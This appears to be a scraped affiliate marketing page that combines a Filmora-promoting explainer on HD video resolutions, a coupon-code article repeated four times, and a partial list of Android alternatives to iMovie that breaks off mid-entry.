help in the basic understanding of aspect ratios or frame size. [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) Video resolution is a way to determine how realistic or clear your video appears. You can measure it with the number of pixels in a standard aspect ratio (16:9). 16:9 is one of the most common aspect ratios for TV or computer screens. Also, a higher number of video aspect ratio pixels means high resolution. The 720 or 1080 resolutions have naming conventions usually based on the pixels running in the vertical line of the display area. Whereas resolutions like 2K, 4K, or 8K have naming conventions based on pixels numbers in the horizontal lines across digital frames. The growth of video sharing on social media has ensured the adoption of HD definition screens. So, let us know more about its concepts. #### In this article 01 [What is HD Video?](#Part 1) 02 [What is the Pixel Size of HD Video?](#Part 2) 03 [Video Resolution and Corresponding File Sizes?](#Part 3) 04 [Are 480P, 720P, 960P Considered HD?](#Part 4) 05 [Is HD 2K or 1K?](#Part 5) 06 [How to Change Video Resolution Easily?](#Part 6) ## Part 1 What is HD Video? High-definition video (HDV) is a third-generation technology for videos. Its video resolution, file size, and screen size are more significant than a standard video or other video forms. It provides more flexibility, including technical variables of videos. ![HDV](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-1.jpg) Generally, it is a video with 1280×720 (720p) or 1920×1080 (1080p) resolutions. It's all formats are widescreen and display 24 to 60 frames in a second. ## Part 2 What is the Pixel Size of HD Video? HD Video is the lowest video resolution accepted for the web content of smaller size. However, most screens are available in HD nowadays. So, it would be best to use a resolution higher than 720 p for streaming or web. Pixel Size of HD video is 1280 x 720. ## Part 3 Video resolution and corresponding file sizes Video resolutions are the standards set by video manufacturers or broadcasting companies. Video resolution is similar to a haircut. You can always decrease a high-resolution video to a lower one but can never increase the low resolution. So, decide the video resolutions keeping storage space and other aspects in mind. Here are different formats that can help you to make a wise decision: ### 1\. Standard Definition Standard Definition does not have many pixels; as a result, it has low resolution. Two common SD resolutions are 640× 480 and 640×360\. These resolutions are the best for small mobiles. It is an excellent option to consider if you have a slow internet connection. ### 2\. 720 Resolution (HD) It is the lowest video resolution and is often called HD. Usually, you shoot most videos at 1080p, but 720p can still be acceptable to create smaller web content. However, it would be best to aim for a resolution higher than 720p. ### 3\. 1080 Resolution (Full HD) 1080 (1920 \* 1080 pixels), often known as Full HD, is the industry standard for making a digital video. It does not need much storage space and is a typical screen resolution for digital phones. ### 4\. 2K Resolution or QHD (Quad High Definition) 2K resolution (2048 x 1080 pixels)or QHD (2560 x 1440 pixels) formats provide room for photo edits. In addition, they offer larger displays or reframing files without their lost quality. ### 5\. 4K Resolution (Ultra HD) Ultra HD, often known as 4K resolution, is 3840 x 2160 pixels technically. It looks similar to 2K to the viewers but gives videomakers some room to zoom in or edit. ![File Size](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-2.jpg) ## Part 4 Are 480P, 720P, 960P Considered HD? * 720p is also popular with the name HD (high-definition). It is a display resolution that measures 1280 x 720 pixels. * 480p often known as Standard Definition (SD). It usually starts at 240 p and ends at 480 p. So, 480 p is a semi-HD. * 960 X 480 p is a progressive camera scan format usually used in surveillance cameras, webcams, or action POV cams. It adds a wide horizontal view as compared to the standard definition. But it is less than HD. ## Part 5 Is HD 2K or 1K? 1K means there are 1000 pixels. So 1080p, as in the vertical portion of a screen, is 1K. In contrast, a typical 1080p resolution with the horizontal part is 1920, or 2K. Although 1080p has the exact vertical resolution like DCI 2K resolutions (1080 pixels), it has a smaller horizontal resolution. As a result, it is below the range of 2K resolution formats. 1080p is almost equivalent to 2K. It is because "p" and "i" measure the height of an image in pixels, while "K" measures the width of an image in thousands of pixels. So with a size of 1080 pixels, the corresponding width of 1920 pixels uses a 16:9 aspect ratio. ![Resolution Chart](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-3.jpg) ## Part 6 How to Change Video Resolution Easily? Sometimes, you need to change the video resolutions due to different circumstances. For instance, when you upload videos from a system to the smartphone, the resolution needs to decrease. Because some devices may support specific video resolutions only. In the steps below, you can learn how to change the video resolutions using the best video editor- Wondeshare Fimora. It is very easy to use tool that allow you to change or convert the video resolution quickly. You just need to click on export and choose the resolution from Export window. Then, video will be of resolution you want. ![Choosing Resolution](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-4.jpg) #### Step 1 Download and Install Filmora Video Editor You can download Wondershare Filmora video editor from [Filmora](https://tools.techidaily.com/wondershare/filmora/download/) or click on the Download button you see on the system. Then, double click the downloaded file. Now, follow the instruction to start the installation. Wondershare Filmora supports Windows and Mac OS both. So, you will not face any difficulty while installing it. #### Step 2 Import and Add Videos to the Filmora Open the program and find the button for importing your video whose resolution you like to change. You will see the "Import" button in a primary window. Just click on a button to select the video files you need to resize. You can check the video resolution by right clicking on it and then, choose "Properties. ![Checking Resolution](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-5.jpg) Once you import the files, drag it to the timeline. Now, you can trim or remove unwanted section to reduce the size of a video. ![Trim or Remove ](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-6.jpg) #### Step 3 Pick up the Export Format & Video Resolution After video editing in Filmora, decide and select the format or resolution for your saved video. Click the Export button to enter in the Export Window. ![Export Video ](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-7.jpg) #### Step 4 Find and Confirm Video Conversion You can change the folder to save the altered files by going to the "Browse" button. Then go to "Destination" field. Now, select any existing folder for saving the files or create a new folder. Then, click on the "OK" button to save each altered file to that folder. ![Saving Altered Files](https://images.wondershare.com/filmora/article-images/2021/hd-video-pixel-size-8.jpg) After all the selections, click on the "Export" button. This process will take some minutes. Till then wait to let the process finish. Click on the “Find Target button” to find the saved video. #### Wondershare Filmora Get started easily with Filmora's powerful performance, intuitive interface, and countless effects! [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) [Try It Free](https://tools.techidaily.com/wondershare/filmora/download/) [Learn More >](https://tools.techidaily.com/wondershare/filmora/download/) ![filmorax boxpng ](https://images.wondershare.com/filmora/banner/filmora-latest-product-box-right-side.png) **AI Portrait – The best feature of Wondershare Filmora for gameplay editing** The AI Portrait is a new add-on in Wondershare Filmora. It can easily remove video backgrounds without using a green screen or chroma key, allowing you to add borders, glitch effects, pixelated, noise, or segmentation video effects. ![ai portrait wondershare filmora](https://images.wondershare.com/filmora/guide/add-multiple-ai-portrait-add-on.jpg) ### Conclusion Video resolution is an easy topic if you understand a practical view well. By learning about video aspect ratio pixels, you can save a lot of time and effort. In addition, you can ensure that you are creating the right videos. The best video resolution varies with different platforms. But it will help in the basic understanding of aspect ratios or frame size. <ins class="adsbygoogle" style="display:block" data-ad-format="autorelaxed" data-ad-client="ca-pub-7571918770474297" data-ad-slot="1223367746"></ins> ## Filmora Deals and Steals: Your Go-To Resource for Coupon Codes # Filmora Coupon Code 2024 - 7 Ways to Find (2024 Full List) ![author avatar](https://lh5.googleusercontent.com/-AIMmjowaFs4/AAAAAAAAAAI/AAAAAAAAABc/Y5UmwDaI7HU/s250-c-k/photo.jpg) ##### Liza Brown Mar 27, 2024• Proven solutions Do you wish to transform your memorable moments into stunning videos? Looking for a video editing tool that allows you to publish videos in a few minutes? Wondershare Filmora – an all-in-one video editing tool – is your ideal choice. Filmora is a popular video editor with an intuitive UI and unique features. Liked by both amateurs and professional post-production enthusiasts, this software can take your video editing to the next level. But, are you looking for an opportunity to save maximum on video editing and creation? Be budget savvy with the help of **Filmora Coupon Code 2024**. Just like any other software, this tool comes with a price tag. However, not everyone has the affordability to invest that kind of money in a video editor and it is here that Wondershare’s great deals prove to be amazing. No matter whether you are a regular video editing professional, a student, or an entrepreneur, you can avail of this software at special rates by using Filmora X Coupon Code. Worried about spotting fake coupons or are you unable to find coupons that help save maximum bucks? Fret not! Here is an official guide to find the right coupon in 2024. ## Where to Find Real Filmora Coupon Code 2024? #### 1. Affiliate Platforms Besides the official website of Wondershare Filmora, you can avail of discount coupons like Filmora X Coupon Code 2024 from affiliate platforms like Groupon too. A popular digital coupon provider, Groupon helps buyers save money both online and in stores. It offers 100% valid coupons for brands like Filmora. Whether you are a freelance worker, YT video creator, or a large business, Groupon has Filmora discount coupons for everyone. Using the coupons can help you get great deals and save whopping amounts on various Filmora plans. #### 2. Filmora Student Discount ![filmora student coupon](https://images.wondershare.com/filmora/article-images/2021/filmora-educational-plan.jpg) As a leading software development company, Wondershare encourages and supports education and thus offers special discounts to scholars. To use the Wondershare Filmora Coupon Code 2024 available for students, all you need to do is sign in with your Students Beans ID, and then follow the regular process to buy the software at reduced rates. Keep the credentials of your Student Beans ID handy and follow the steps below: Step-1: Choose your PC platform Step-2: Pick a Student plan Step-3: Buy a Subscription #### 3. Subscribe to Filmora’s Email Another great way to know about the various coupons of Filmora is through e-mails. Subscribe to Wondershare Filmora’s mails and receive discount mails regularly. This way, you can get to know about the different offers and coupons you can avail of such as the Filmora X Coupon Code 2024 to save maximum bucks on the purchase of Wondershare video editing software. Wondering how to use email discount codes? To use a Wondershare email discount code, just copy the coupon code from your e-mail and enter it in the “Promo Code” box at the official website of Filmora during checkout to enjoy great savings. #### 4. Holiday Sale (Black Friday) Although every holiday nowadays offers great sales, Black Friday deals are undoubtedly the best. And with Wondershare’s video editing software, this is no exception. Wondershare Black Friday discount sale brings you amazing deals on popular plans every year. Filmora Black Friday Sale 2024 is an excellent discount sale for people willing to buy powerful and advanced video editing software. Wondershare is providing up to 50% off on all its software and you can enjoy huge savings with Filmora Coupon Code 2024\. If you want to grab the maximum discount, you can shift to other Black Friday offers. #### 5. Filmora Bundle Sale Do you wish to save maximum on Filmora? If so, this can be an incredible saving deal for any user. Subscribe for any of the available creative video solution bundles, and Filmora will offer a special discount to ensure you get the tool at comparatively affordable prices. With [Filmora Bundle Sales](https://tools.techidaily.com/wondershare/filmora/download/), you can save up to 54% off! Confused about what these bundles are? Well, when you purchase a subscription for another product along with Filmora, both these apps will form a bundle and are offered to you at discounted prices. For example, you can purchase a subscription for Filmora at the same time and when you subscribe to these apps, you will be offered a special discount to buy the bundle. #### 6. Wondershare Campaign Or Event Another amazing way to get Filmora discount coupons and voucher codes like Filmora X Coupon Code is to watch out for Wondershare campaigns and events. Be it for personal use or business use, you can save huge and buy Wondershare video editing software at affordable prices without compromising on the features by using a coupon code. **Conclusion** Whether you are a professional looking to buy multiple products to ensure a smooth post-production experience or a student with a Student Beans account, you can easily make the most of Filmora Coupon Code 2024\. So what are you still waiting for? Keep your eyes peeled for great money-saving Wondershare sales, use the Filmora discount coupons and enjoy some great savings on the purchase of your video editing software! ![author avatar](https://lh5.googleusercontent.com/-AIMmjowaFs4/AAAAAAAAAAI/AAAAAAAAABc/Y5UmwDaI7HU/s250-c-k/photo.jpg) Liza Brown Liza Brown is a writer and a lover of all things video. Follow @Liza Brown ##### Liza Brown Mar 27, 2024• Proven solutions Do you wish to transform your memorable moments into stunning videos? Looking for a video editing tool that allows you to publish videos in a few minutes? Wondershare Filmora – an all-in-one video editing tool – is your ideal choice. Filmora is a popular video editor with an intuitive UI and unique features. Liked by both amateurs and professional post-production enthusiasts, this software can take your video editing to the next level. But, are you looking for an opportunity to save maximum on video editing and creation? Be budget savvy with the help of **Filmora Coupon Code 2024**. Just like any other software, this tool comes with a price tag. However, not everyone has the affordability to invest that kind of money in a video editor and it is here that Wondershare’s great deals prove to be amazing. No matter whether you are a regular video editing professional, a student, or an entrepreneur, you can avail of this software at special rates by using Filmora X Coupon Code. Worried about spotting fake coupons or are you unable to find coupons that help save maximum bucks? Fret not! Here is an official guide to find the right coupon in 2024. ## Where to Find Real Filmora Coupon Code 2024? #### 1. Affiliate Platforms Besides the official website of Wondershare Filmora, you can avail of discount coupons like Filmora X Coupon Code 2024 from affiliate platforms like Groupon too. A popular digital coupon provider, Groupon helps buyers save money both online and in stores. It offers 100% valid coupons for brands like Filmora. Whether you are a freelance worker, YT video creator, or a large business, Groupon has Filmora discount coupons for everyone. Using the coupons can help you get great deals and save whopping amounts on various Filmora plans. #### 2. Filmora Student Discount ![filmora student coupon](https://images.wondershare.com/filmora/article-images/2021/filmora-educational-plan.jpg) As a leading software development company, Wondershare encourages and supports education and thus offers special discounts to scholars. To use the Wondershare Filmora Coupon Code 2024 available for students, all you need to do is sign in with your Students Beans ID, and then follow the regular process to buy the software at reduced rates. Keep the credentials of your Student Beans ID handy and follow the steps below: Step-1: Choose your PC platform Step-2: Pick a Student plan Step-3: Buy a Subscription #### 3. Subscribe to Filmora’s Email Another great way to know about the various coupons of Filmora is through e-mails. Subscribe to Wondershare Filmora’s mails and receive discount mails regularly. This way, you can get to know about the different offers and coupons you can avail of such as the Filmora X Coupon Code 2024 to save maximum bucks on the purchase of Wondershare video editing software. Wondering how to use email discount codes? To use a Wondershare email discount code, just copy the coupon code from your e-mail and enter it in the “Promo Code” box at the official website of Filmora during checkout to enjoy great savings. #### 4. Holiday Sale (Black Friday) Although every holiday nowadays offers great sales, Black Friday deals are undoubtedly the best. And with Wondershare’s video editing software, this is no exception. Wondershare Black Friday discount sale brings you amazing deals on popular plans every year. Filmora Black Friday Sale 2024 is an excellent discount sale for people willing to buy powerful and advanced video editing software. Wondershare is providing up to 50% off on all its software and you can enjoy huge savings with Filmora Coupon Code 2024\. If you want to grab the maximum discount, you can shift to other Black Friday offers. #### 5. Filmora Bundle Sale Do you wish to save maximum on Filmora? If so, this can be an incredible saving deal for any user. Subscribe for any of the available creative video solution bundles, and Filmora will offer a special discount to ensure you get the tool at comparatively affordable prices. With [Filmora Bundle Sales](https://tools.techidaily.com/wondershare/filmora/download/), you can save up to 54% off! Confused about what these bundles are? Well, when you purchase a subscription for another product along with Filmora, both these apps will form a bundle and are offered to you at discounted prices. For example, you can purchase a subscription for Filmora at the same time and when you subscribe to these apps, you will be offered a special discount to buy the bundle. #### 6. Wondershare Campaign Or Event Another amazing way to get Filmora discount coupons and voucher codes like Filmora X Coupon Code is to watch out for Wondershare campaigns and events. Be it for personal use or business use, you can save huge and buy Wondershare video editing software at affordable prices without compromising on the features by using a coupon code. **Conclusion** Whether you are a professional looking to buy multiple products to ensure a smooth post-production experience or a student with a Student Beans account, you can easily make the most of Filmora Coupon Code 2024\. So what are you still waiting for? Keep your eyes peeled for great money-saving Wondershare sales, use the Filmora discount coupons and enjoy some great savings on the purchase of your video editing software! ![author avatar](https://lh5.googleusercontent.com/-AIMmjowaFs4/AAAAAAAAAAI/AAAAAAAAABc/Y5UmwDaI7HU/s250-c-k/photo.jpg) Liza Brown Liza Brown is a writer and a lover of all things video. Follow @Liza Brown ##### Liza Brown Mar 27, 2024• Proven solutions Do you wish to transform your memorable moments into stunning videos? Looking for a video editing tool that allows you to publish videos in a few minutes? Wondershare Filmora – an all-in-one video editing tool – is your ideal choice. Filmora is a popular video editor with an intuitive UI and unique features. Liked by both amateurs and professional post-production enthusiasts, this software can take your video editing to the next level. But, are you looking for an opportunity to save maximum on video editing and creation? Be budget savvy with the help of **Filmora Coupon Code 2024**. Just like any other software, this tool comes with a price tag. However, not everyone has the affordability to invest that kind of money in a video editor and it is here that Wondershare’s great deals prove to be amazing. No matter whether you are a regular video editing professional, a student, or an entrepreneur, you can avail of this software at special rates by using Filmora X Coupon Code. Worried about spotting fake coupons or are you unable to find coupons that help save maximum bucks? Fret not! Here is an official guide to find the right coupon in 2024. ## Where to Find Real Filmora Coupon Code 2024? #### 1. Affiliate Platforms Besides the official website of Wondershare Filmora, you can avail of discount coupons like Filmora X Coupon Code 2024 from affiliate platforms like Groupon too. A popular digital coupon provider, Groupon helps buyers save money both online and in stores. It offers 100% valid coupons for brands like Filmora. Whether you are a freelance worker, YT video creator, or a large business, Groupon has Filmora discount coupons for everyone. Using the coupons can help you get great deals and save whopping amounts on various Filmora plans. #### 2. Filmora Student Discount ![filmora student coupon](https://images.wondershare.com/filmora/article-images/2021/filmora-educational-plan.jpg) As a leading software development company, Wondershare encourages and supports education and thus offers special discounts to scholars. To use the Wondershare Filmora Coupon Code 2024 available for students, all you need to do is sign in with your Students Beans ID, and then follow the regular process to buy the software at reduced rates. Keep the credentials of your Student Beans ID handy and follow the steps below: Step-1: Choose your PC platform Step-2: Pick a Student plan Step-3: Buy a Subscription #### 3. Subscribe to Filmora’s Email Another great way to know about the various coupons of Filmora is through e-mails. Subscribe to Wondershare Filmora’s mails and receive discount mails regularly. This way, you can get to know about the different offers and coupons you can avail of such as the Filmora X Coupon Code 2024 to save maximum bucks on the purchase of Wondershare video editing software. Wondering how to use email discount codes? To use a Wondershare email discount code, just copy the coupon code from your e-mail and enter it in the “Promo Code” box at the official website of Filmora during checkout to enjoy great savings. #### 4. Holiday Sale (Black Friday) Although every holiday nowadays offers great sales, Black Friday deals are undoubtedly the best. And with Wondershare’s video editing software, this is no exception. Wondershare Black Friday discount sale brings you amazing deals on popular plans every year. Filmora Black Friday Sale 2024 is an excellent discount sale for people willing to buy powerful and advanced video editing software. Wondershare is providing up to 50% off on all its software and you can enjoy huge savings with Filmora Coupon Code 2024\. If you want to grab the maximum discount, you can shift to other Black Friday offers. #### 5. Filmora Bundle Sale Do you wish to save maximum on Filmora? If so, this can be an incredible saving deal for any user. Subscribe for any of the available creative video solution bundles, and Filmora will offer a special discount to ensure you get the tool at comparatively affordable prices. With [Filmora Bundle Sales](https://tools.techidaily.com/wondershare/filmora/download/), you can save up to 54% off! Confused about what these bundles are? Well, when you purchase a subscription for another product along with Filmora, both these apps will form a bundle and are offered to you at discounted prices. For example, you can purchase a subscription for Filmora at the same time and when you subscribe to these apps, you will be offered a special discount to buy the bundle. #### 6. Wondershare Campaign Or Event Another amazing way to get Filmora discount coupons and voucher codes like Filmora X Coupon Code is to watch out for Wondershare campaigns and events. Be it for personal use or business use, you can save huge and buy Wondershare video editing software at affordable prices without compromising on the features by using a coupon code. **Conclusion** Whether you are a professional looking to buy multiple products to ensure a smooth post-production experience or a student with a Student Beans account, you can easily make the most of Filmora Coupon Code 2024\. So what are you still waiting for? Keep your eyes peeled for great money-saving Wondershare sales, use the Filmora discount coupons and enjoy some great savings on the purchase of your video editing software! ![author avatar](https://lh5.googleusercontent.com/-AIMmjowaFs4/AAAAAAAAAAI/AAAAAAAAABc/Y5UmwDaI7HU/s250-c-k/photo.jpg) Liza Brown Liza Brown is a writer and a lover of all things video. Follow @Liza Brown ##### Liza Brown Mar 27, 2024• Proven solutions Do you wish to transform your memorable moments into stunning videos? Looking for a video editing tool that allows you to publish videos in a few minutes? Wondershare Filmora – an all-in-one video editing tool – is your ideal choice. Filmora is a popular video editor with an intuitive UI and unique features. Liked by both amateurs and professional post-production enthusiasts, this software can take your video editing to the next level. But, are you looking for an opportunity to save maximum on video editing and creation? Be budget savvy with the help of **Filmora Coupon Code 2024**. Just like any other software, this tool comes with a price tag. However, not everyone has the affordability to invest that kind of money in a video editor and it is here that Wondershare’s great deals prove to be amazing. No matter whether you are a regular video editing professional, a student, or an entrepreneur, you can avail of this software at special rates by using Filmora X Coupon Code. Worried about spotting fake coupons or are you unable to find coupons that help save maximum bucks? Fret not! Here is an official guide to find the right coupon in 2024. ## Where to Find Real Filmora Coupon Code 2024? #### 1. Affiliate Platforms Besides the official website of Wondershare Filmora, you can avail of discount coupons like Filmora X Coupon Code 2024 from affiliate platforms like Groupon too. A popular digital coupon provider, Groupon helps buyers save money both online and in stores. It offers 100% valid coupons for brands like Filmora. Whether you are a freelance worker, YT video creator, or a large business, Groupon has Filmora discount coupons for everyone. Using the coupons can help you get great deals and save whopping amounts on various Filmora plans. #### 2. Filmora Student Discount ![filmora student coupon](https://images.wondershare.com/filmora/article-images/2021/filmora-educational-plan.jpg) As a leading software development company, Wondershare encourages and supports education and thus offers special discounts to scholars. To use the Wondershare Filmora Coupon Code 2024 available for students, all you need to do is sign in with your Students Beans ID, and then follow the regular process to buy the software at reduced rates. Keep the credentials of your Student Beans ID handy and follow the steps below: Step-1: Choose your PC platform Step-2: Pick a Student plan Step-3: Buy a Subscription #### 3. Subscribe to Filmora’s Email Another great way to know about the various coupons of Filmora is through e-mails. Subscribe to Wondershare Filmora’s mails and receive discount mails regularly. This way, you can get to know about the different offers and coupons you can avail of such as the Filmora X Coupon Code 2024 to save maximum bucks on the purchase of Wondershare video editing software. Wondering how to use email discount codes? To use a Wondershare email discount code, just copy the coupon code from your e-mail and enter it in the “Promo Code” box at the official website of Filmora during checkout to enjoy great savings. #### 4. Holiday Sale (Black Friday) Although every holiday nowadays offers great sales, Black Friday deals are undoubtedly the best. And with Wondershare’s video editing software, this is no exception. Wondershare Black Friday discount sale brings you amazing deals on popular plans every year. Filmora Black Friday Sale 2024 is an excellent discount sale for people willing to buy powerful and advanced video editing software. Wondershare is providing up to 50% off on all its software and you can enjoy huge savings with Filmora Coupon Code 2024\. If you want to grab the maximum discount, you can shift to other Black Friday offers. #### 5. Filmora Bundle Sale Do you wish to save maximum on Filmora? If so, this can be an incredible saving deal for any user. Subscribe for any of the available creative video solution bundles, and Filmora will offer a special discount to ensure you get the tool at comparatively affordable prices. With [Filmora Bundle Sales](https://tools.techidaily.com/wondershare/filmora/download/), you can save up to 54% off! Confused about what these bundles are? Well, when you purchase a subscription for another product along with Filmora, both these apps will form a bundle and are offered to you at discounted prices. For example, you can purchase a subscription for Filmora at the same time and when you subscribe to these apps, you will be offered a special discount to buy the bundle. #### 6. Wondershare Campaign Or Event Another amazing way to get Filmora discount coupons and voucher codes like Filmora X Coupon Code is to watch out for Wondershare campaigns and events. Be it for personal use or business use, you can save huge and buy Wondershare video editing software at affordable prices without compromising on the features by using a coupon code. **Conclusion** Whether you are a professional looking to buy multiple products to ensure a smooth post-production experience or a student with a Student Beans account, you can easily make the most of Filmora Coupon Code 2024\. So what are you still waiting for? Keep your eyes peeled for great money-saving Wondershare sales, use the Filmora discount coupons and enjoy some great savings on the purchase of your video editing software! ![author avatar](https://lh5.googleusercontent.com/-AIMmjowaFs4/AAAAAAAAAAI/AAAAAAAAABc/Y5UmwDaI7HU/s250-c-k/photo.jpg) Liza Brown Liza Brown is a writer and a lover of all things video. Follow @Liza Brown <ins class="adsbygoogle" style="display:block" data-ad-format="autorelaxed" data-ad-client="ca-pub-7571918770474297" data-ad-slot="1223367746"></ins> ## Say Goodbye to iMovie: The Top 10 Android Video Editing Apps iMovie is one of the best software options out there for novice editors. However, it is available only in iOS and macOS versions, leaving people looking for a capable **iMovie alternative for Android.** Luckily, multiple apps are available with similar qualities to the iOS software, with rich effects, soundtracks, and themes to select from. Go through this list of the best **apps similar to iMovie for Android**, and choose one to use. ![imovie interface](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-1.jpg) 1. [Filmora](#part3-1) 2. [VideoShow](#part3-2) 3. [VivaVideo](#part3-3) 4. [VidTrim Pro](#part3-4) 5. [WeVideo](#part3-5) 6. [Magisto](#part3-6) 7. [KineMaster](#part3-7) 8. [InShot](#part3-8) 9. [CapCut](#part3-9) 10. [Splice](#part3-10) * [How To Edit a Video With an iMovie Alternative on Android](#part4) ## Part 1: Top Pick for iMovie for Android Alternative To start off the discussion on the most similar **Android alternative iMovie** apps you will find in terms of functionality and benefits; three stand out. This table cohesively represents them for you to know the main points of concern about each. ### #1 Wondershare Filmora- Best for Custom video edits with preset templates ![filmorago icon](https://images.wondershare.com/filmora/article-images/2022/10/filmorago-icon.jpg) For high-quality video recording and then editing, the Filmora tool is useful. Easily add preset filters and templates, adjust sound quality, and more. Download now on [Google Play Store](https://play.google.com/store/apps/details?id=com.wondershare.filmorago&referrer=adjust%5Freftag%3Dc1wsIXVT9RzPW%26utm%5Fsource%3DWebsite%26utm%5Fcampaign%3Dfilmora.wondershare.com%26utm%5Fcontent%3Dfilmora-en) and [Apple App Store](https://apps.apple.com/us/app/filmorago-video-editor-maker/id1019382747). Rating: 4 out of 5 Free, with in-app costs starting at USD 1.99. ## Part 2: Ultimate Overview on 10 Best Alternatives to iMovie for Android Yes, the above three are the best **iMovie similar apps for Android**. However, they are not the only ones to consider seriously. Go through this comparative table on the top 10 alternatives you should try, with their main points on display. | **OS** | **Price** | **Ease of Use** | **Overall Rating** | | | ------------------------ | --------------------------------- | ---------------------------------------------------------------- | ------------------ | ------------ | | **Filmora** | Android, iOS | Free, cost starting at USD 1.99 | Easy | 4 out of 5 | | **VideoShow** | Android, iOS | Free, cost between USD 0.99- USD 179.99 | Medium-Difficult | 2.5 out of 5 | | **VivaVideo** | Android, iOS | Free, cost starting at USD 1.99 | Easy | 3.8 out of 5 | | **VidTrim Pro** | Android | USD 3.49 | Easy-Medium | 4.1 out of 5 | | **WeVideo** | Android, iOS, Chromebook, Windows | Creator- USD 9.99, Business- USD 36.99, Enterprise- quoted price | Easy-Medium | 4.4 out of 5 | | **Magisto** | Android, iOS | Premium- USD 4.99, Professional- USD 9.99, Business- USD 34.99 | Medium-Difficult | 3.9 out of 5 | | **KineMaster** | Android, iOS | Free | Easy-Medium | 4 out of 5 | | **Spice** | Android, iOS | Free with costs between USD 0.99 to USD 89.99 | Medium-Difficult | 4.5 out of 5 | | **Filmora 11 (Windows)** | Windows 11/10/8.1/8/7 | Monthly- USD 19.99, Quarterly- USD 49.99, Annual- USD 79.99 | Easy | 4.4 out of 5 | | **Filmora 11 (Mac)** | macOS 10.14 - macOS 11 | Monthly- USD 19.99, Quarterly- USD 49.99, Annual- USD 79.99 | Easy | 4.4 out of 5 | ## Part 3: 8 Best Windows Movie Maker Alternatives for Android Indeed, multiple capable apps are available that Android users can opt for to improve their video projects with high-quality edits, both custom and using preset templates. Learn more about them here and find the most useful **Android app equivalent to iMovie** for your personalized needs. ### 1\. [Filmora](https://tools.techidaily.com/wondershare/filmora/download/) **Best for Custom Video Edits With Pre-Set Templates** One of the best **Android alternatives to iMovie** is Filmora, with its high-grade editing functions after shooting the videos. Use standard tools like splitting, cutting, copying, and merging while also available premium features like voiceover addition and background removal. ![filmorago app interface](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-2.jpg) **Cost**: Free with in-app purchases starting at USD 1.99. **Key Features**: * Easily share files on social media accounts. * Add options from a list of fun stickers. * Multiple preset dynamic filters and effects for use. * Add voiceover and background sound effects. Pros * Record videos before editing * The free trial comes with various creative editing tools * Suitable for all types of users due to its simple UI Cons * Need to upgrade for the full advanced feature list access * Watermark removal is not available for free **How to download**: [Google Play Store](https://play.google.com/store/apps/details?id=com.wondershare.filmorago&referrer=adjust%5Freftag%3Dc1wsIXVT9RzPW%26utm%5Fsource%3DWebsite%26utm%5Fcampaign%3Dfilmora.wondershare.com%26utm%5Fcontent%3Dfilmora-en), [Apple App Store](https://apps.apple.com/us/app/filmorago-video-editor-maker/id1019382747) **Ratings**: 4 out of 5 (TechRadar) **Summary of user verdict**: Users enjoy this app's high-quality tools and editing interface, as per [reviews](https://www.techradar.com/reviews/filmora-go). ### 2\. [VideoShow](http://www.videoshowapp.com/) **Best for Funny Videos and Memes** Another top **Samsung equivalent to iMovie,** among other Android smartphones, is VideoShow. Using this, you can create engaging and visually attractive videos with animations, music, and FX transitions. ![videoshow interface](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-3.jpg) **Cost**: In-app purchases range from USD 0.99- USD 179.99. **Key Features**: Easily zoom in/out and adjust speed. * Ready-made templates and filters are available. * Add customized background audio. * Add doodles and images into videos. Pros * Access materials center for filters, themes, GIFs, stickers, etc * Compress videos to save space * Add voiceovers to the videos Cons * The slightly complex learning curve here * Need to upgrade to get full use of preset functions **How to download**: [Google Play Store](https://play.google.com/store/apps/details?id=com.xvideostudio.videoeditor&gl=US), [Apple App Store](https://apps.apple.com/us/app/videoshow-video-editor-maker/id930380089) **Ratings**: 2.5 out of 5 **Summary of user verdict**: [VideoShow](https://www.techradar.com/reviews/videoshow) is a major choice for intuitive and simple usability during video editing. Users enjoy the various tools available. ### 3\. [VivaVideo](https://vivavideo.tv/) **Best for Short Video Recording and Editing** VivaVideo is a capable **app similar to iMovie for Android** that allows users the opportunity to create high-resolution short videos and then fine-tune them better. Here, easily make changes like cutting out the background, removing unnecessary sound effects, changing speed, and more. ![vivavideo interface](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-4.jpg) **Cost**: Free with in-app purchases starting at USD 1.99 **Key Features**: * Select chorus in video playback with one click. * Translate subtitle tracks. * PIP support for additional features like denoise, voice changer, reverse, etc. * Restore the deleted background with a single tap. Pros * Optimized toolbar for easy feature access * Add and organize favorites * Long press on the video to include PIP elements Cons * No major dimension support * Advanced benefits like 4K UHD support requires upgrades **How to download**: [Google Play Store](https://apps.apple.com/us/app/vivavideo-video-editor-maker/id738897668), [Apple App Store](https://apps.apple.com/us/app/vivavideo-video-editor-maker/id738897668) **Ratings**: 3.8 out of 5 **Summary of user verdict**: As per [reviews](https://www.g2.com/products/viva-video/reviews), users can easily find and use the various top-grade functions here, like unwanted part removal, duration changing, cropping, and canvas support. ### 4\. [VidTrim Pro](https://play.google.com/store/apps/details?id=com.goseet.VidTrimPro&gl=US) **Best for Video Edits With Transcoding Support** The VidTrim Pro is a professional-level Android-based video editor. Use it to cut video files into shorter clips and merge, adjust the visuals with effects like Blur, Luma, etc., and much more. It is compatible with ARM/x86 CPUs as well. ![vidtrim pro interface](https://images.wondershare.com/filmora/article-images/2022/10/top-10-imovie-alternatives-for-android-you-can-pick-in-2022-5.jpg) **Cost**: USD 3.49 **Key Features**: * Convert files into audio type, i.e., MP3. * Multiple effects like Negate, Vignette, Negate, etc. * True rotation if you are using encoding and quick rotation if not. * Transcoding is supported for video files. Pros * Multiple languages are supported * Delete the clips easily * Play the files before sharing Cons * Automatically saves into internal storage, no other choices * No iOS alternative is available **How to download**: [Google Play 